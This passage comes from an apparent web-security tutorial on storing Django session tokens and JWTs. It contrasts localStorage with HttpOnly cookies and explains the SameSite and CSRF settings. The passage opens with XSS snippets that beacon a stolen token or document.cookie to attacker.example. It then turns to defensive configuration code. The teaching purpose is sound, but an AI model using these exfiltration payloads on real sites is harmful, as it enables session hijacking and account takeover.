  &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Image&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nx"&gt;src&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;https://attacker.example/c?t=&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nf"&gt;encodeURIComponent&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;token&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;})();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now run the same payload against a Django session cookie configured with &lt;code&gt;HttpOnly=True&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Same XSS payload, same origin, same execution context&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;exfil&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;cookie&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cookie&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// returns "" — HttpOnly cookies are NOT in document.cookie&lt;/span&gt;
  &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Image&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nx"&gt;src&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;https://attacker.example/c?t=&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nf"&gt;encodeURIComponent&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;cookie&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;})();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;HttpOnly&lt;/code&gt; flag instructs the browser to exclude the cookie from the &lt;code&gt;document.cookie&lt;/code&gt; API entirely. JavaScript cannot read it. The beacon fires, but it carries an empty string. The attacker has code execution on your page but still can't steal the session identifier.&lt;/p&gt;

&lt;p&gt;This is the core asymmetry. &lt;code&gt;localStorage&lt;/code&gt; has no equivalent protection mechanism. There is no flag you can set on a &lt;code&gt;localStorage&lt;/code&gt; key to make it invisible to script. The storage model itself is the exposure. For a deeper look at the full surface area of browser storage options, the &lt;a href="https://www.codereviewlab.com/learning/browser-storage" rel="noopener noreferrer"&gt;browser storage security tradeoffs&lt;/a&gt; lab on Code Review Lab walks through &lt;code&gt;localStorage&lt;/code&gt;, &lt;code&gt;sessionStorage&lt;/code&gt;, IndexedDB, and cookies in attack context.&lt;/p&gt;

&lt;p&gt;The account takeover path from &lt;code&gt;localStorage&lt;/code&gt; token theft is direct: attacker captures the JWT, copies the &lt;code&gt;Authorization: Bearer &amp;lt;token&amp;gt;&lt;/code&gt; header into any HTTP client, and makes authenticated requests until the token expires. If your access token TTL is 24 hours — or worse, if you're storing a refresh token in &lt;code&gt;localStorage&lt;/code&gt; too — that window is long enough to cause real damage.&lt;/p&gt;




&lt;h2&gt;
  
  
  Fixing it: HttpOnly, Secure, SameSite, and short-lived JWTs
&lt;/h2&gt;

&lt;p&gt;For Django's built-in session framework, the secure defaults are three settings that should be on in every non-local environment:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# settings.py
&lt;/span&gt;
&lt;span class="c1"&gt;# Session cookie flags
&lt;/span&gt;&lt;span class="n"&gt;SESSION_COOKIE_HTTPONLY&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;   &lt;span class="c1"&gt;# prevent JS access — this is the XSS mitigation
&lt;/span&gt;&lt;span class="n"&gt;SESSION_COOKIE_SECURE&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;     &lt;span class="c1"&gt;# only transmit over HTTPS — defeats passive interception
&lt;/span&gt;&lt;span class="n"&gt;SESSION_COOKIE_SAMESITE&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;Lax&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;  &lt;span class="c1"&gt;# blocks cross-site cookie sending on most navigations
&lt;/span&gt;
&lt;span class="c1"&gt;# CSRF cookie — often forgotten
&lt;/span&gt;&lt;span class="n"&gt;CSRF_COOKIE_HTTPONLY&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;False&lt;/span&gt;     &lt;span class="c1"&gt;# must stay False so JS can read it for AJAX; that's intentional
&lt;/span&gt;&lt;span class="n"&gt;CSRF_COOKIE_SECURE&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;
&lt;span class="n"&gt;CSRF_COOKIE_SAMESITE&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;Lax&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;

&lt;span class="c1"&gt;# Keep session age short for sensitive apps
&lt;/span&gt;&lt;span class="n"&gt;SESSION_COOKIE_AGE&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;3600&lt;/span&gt;        &lt;span class="c1"&gt;# 1 hour; adjust to your threat model
&lt;/span&gt;&lt;span class="n"&gt;SESSION_EXPIRE_AT_BROWSER_CLOSE&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;SESSION_COOKIE_HTTPONLY&lt;/code&gt; defaults to &lt;code&gt;True&lt;/code&gt; in Django already. The one that trips people up is &lt;code&gt;SESSION_COOKIE_SECURE&lt;/code&gt;, which defaults to &lt;code&gt;False&lt;/code&gt; so local development works without TLS. Forgetting to override it in production means the session cookie travels over plaintext HTTP connections, which is exploitable on any network path you don't control.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;SameSite=Lax&lt;/code&gt; is the middle ground: it blocks cross-site POST requests (the classic CSRF vector) while still allowing top-level navigations (clicking a link from email to your site). &lt;code&gt;SameSite=Strict&lt;/code&gt; is more aggressive and breaks OAuth redirects and some email link flows. &lt;code&gt;SameSite=None&lt;/code&gt; requires &lt;code&gt;Secure&lt;/code&gt; and re-opens cross-site sending — only appropriate when you explicitly need cross-origin cookie delivery.&lt;/p&gt;

&lt;p&gt;If your architecture genuinely requires JWTs (cross-domain clients, microservices — covered in a later section), the fix is to move them out of &lt;code&gt;localStorage&lt;/code&gt; and into &lt;code&gt;HttpOnly&lt;/code&gt; cookies. With DRF SimpleJWT:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# settings.py — SimpleJWT HttpOnly cookie configuration
&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;datetime&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;timedelta&lt;/span&gt;

&lt;span class="n"&gt;SIMPLE_JWT&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;ACCESS_TOKEN_LIFETIME&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;timedelta&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;minutes&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;15&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;   &lt;span class="c1"&gt;# short-lived; stolen tokens expire fast
&lt;/span&gt;    &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;REFRESH_TOKEN_LIFETIME&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;timedelta&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;days&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;ROTATE_REFRESH_TOKENS&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;                    &lt;span class="c1"&gt;# rotation means a stolen refresh token
&lt;/span&gt;    &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;BLACKLIST_AFTER_ROTATION&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;                 &lt;span class="c1"&gt;# can only be used once
&lt;/span&gt;    &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;AUTH_COOKIE&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;access_token&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;                    &lt;span class="c1"&gt;# requires djangorestframework-simplejwt[cookie]
&lt;/span&gt;    &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;AUTH_COOKIE_HTTP_ONLY&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;AUTH_COOKIE_SECURE&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;AUTH_COOKIE_SAMESITE&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;Lax&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;# views.py — set cookie on login rather than returning token in response body
&lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;rest_framework_simplejwt.views&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;TokenObtainPairView&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;rest_framework.response&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Response&lt;/span&gt;

&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;CookieTokenObtainPairView&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;TokenObtainPairView&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;kwargs&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;super&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;kwargs&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;status_code&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;200&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;access&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;pop&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;access&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;# remove from body — body is readable by JS
&lt;/span&gt;            &lt;span class="n"&gt;refresh&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;pop&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;refresh&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;set_cookie&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
                &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;access_token&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;access&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                &lt;span class="n"&gt;httponly&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                &lt;span class="n"&gt;secure&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                &lt;span class="n"&gt;samesite&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;Lax&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                &lt;span class="n"&gt;max_age&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;15&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;60&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;  &lt;span class="c1"&gt;# matches ACCESS_TOKEN_LIFETIME
&lt;/span&gt;            &lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;set_cookie&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
                &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;refresh_token&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;refresh&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                &lt;span class="n"&gt;httponly&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                &lt;span class="n"&gt;secure&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                &lt;span class="n"&gt;samesite&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;Lax&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                &lt;span class="n"&gt;max_age&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;86400&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Keeping the JWT in the response body and then writing it to &lt;code&gt;localStorage&lt;/code&gt; in your frontend code — the pattern most tutorials show — is precisely the antipattern you're replacing here. The &lt;a href="https://www.codereviewlab.com/learning/advanced-xss" rel="noopener noreferrer"&gt;advanced XSS exfiltration techniques&lt;/a&gt; lab demonstrates how even a restricted XSS (no &lt;code&gt;alert()&lt;/code&gt;, CSP blocking inline scripts) can still reach &lt;code&gt;localStorage&lt;/code&gt; through DOM clobbering and deferred injection, which is why "we have CSP" is not a sufficient argument for keeping tokens there.&lt;/p&gt;




&lt;h2&gt;
  
  
  CSRF surface area: cookies vs Authorization headers
&lt;/h2&gt;

&lt;p&gt;Moving tokens into &lt;code&gt;HttpOnly&lt;/code&gt; cookies trades one attack surface for another. Cookies are sent automatically by the browser on every matching request, which means CSRF becomes relevant in a way it isn't when the client must explicitly set an &lt;code&gt;Authorization&lt;/code&gt; header.&lt;/p&gt;

&lt;p&gt;The difference: a JWT in &lt;code&gt;localStorage&lt;/code&gt; used via &lt;code&gt;Authorization: Bearer&lt;/code&gt; header is &lt;strong&gt;immune to CSRF&lt;/strong&gt; because cross-site requests can't set custom headers (the browser won't let &lt;code&gt;attacker.example&lt;/code&gt; set headers on a request to &lt;code&gt;yourapp.example&lt;/code&gt;). But it's fully exposed to XSS. A JWT in an &lt;code&gt;HttpOnly&lt;/code&gt; cookie is &lt;strong&gt;immune to XSS readout&lt;/strong&gt; but is sent on cross-origin requests unless &lt;code&gt;SameSite&lt;/code&gt; blocks it.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;SameSite=Lax&lt;/code&gt; covers the most common CSRF attacks — cross-site form POST, cross-site &lt;code&gt;fetch&lt;/code&gt; with &lt;code&gt;credentials: 'include'&lt;/code&gt;. It doesn't cover all cases, which is why Django's &lt;code&gt;CsrfViewMiddleware&lt;/code&gt; still matters:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# views.py — Django CSRF middleware in action
&lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;django.views.decorators.csrf&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;csrf_protect&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;django.http&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;JsonResponse&lt;/span&gt;

&lt;span class="nd"&gt;@csrf_protect&lt;/span&gt;  &lt;span class="c1"&gt;# redundant if CsrfViewMiddleware is in MIDDLEWARE, shown for clarity
&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;transfer_funds&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;method&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;POST&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="c1"&gt;# CsrfViewMiddleware has already verified the token by this point
&lt;/span&gt;        &lt;span class="c1"&gt;# It checks request.META['HTTP_X_CSRFTOKEN'] against the cookie value
&lt;/span&gt;        &lt;span class="n"&gt;amount&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;POST&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;amount&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="c1"&gt;# ... domain-specific transfer logic ...
&lt;/span&gt;        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nc"&gt;JsonResponse&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;status&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;ok&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;On the frontend, your AJAX code needs to read the CSRF cookie (note: &lt;code&gt;CSRF_COOKIE_HTTPONLY&lt;/code&gt; must be &lt;code&gt;False&lt;/code&gt; for this to work) and attach it as a header:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// fetch helper that reads CSRF token from cookie and sends it as a header&lt;/span&gt;
&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;getCsrfToken&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cookie&lt;/span&gt;
    &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;; &lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;find&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;row&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;row&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;startsWith&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;csrftoken=&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="p"&gt;?.&lt;/span&gt;&lt;span class="nf"&gt;split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;=&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;securePost&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;method&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;POST&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;credentials&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;same-origin&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;           &lt;span class="c1"&gt;// send session cookie&lt;/span&gt;
    &lt;span class="na"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Content-Type&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;application/json&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;X-CSRFToken&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;getCsrfToken&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;       &lt;span class="c1"&gt;// Django's CsrfViewMiddleware checks this&lt;/span&gt;
    &lt;span class="p"&gt;},&lt;/span&gt;
    &lt;span class="na"&gt;body&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;JSON&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;stringify&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
  &lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The double-submit pattern here is what Django's middleware validates: the CSRF value in the cookie must match the value in the header (or POST body). An attacker on a different origin can force the cookie to be sent via a form submission but cannot read the cookie value to populate the header, so the check fails.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;SameSite=Strict&lt;/code&gt; would make this middleware check largely redundant for cookie-based sessions, but breaks too many real-world flows to recommend as a default.&lt;/p&gt;




&lt;h2&gt;
  
  
  Revocation, rotation, and session invalidation
&lt;/h2&gt;

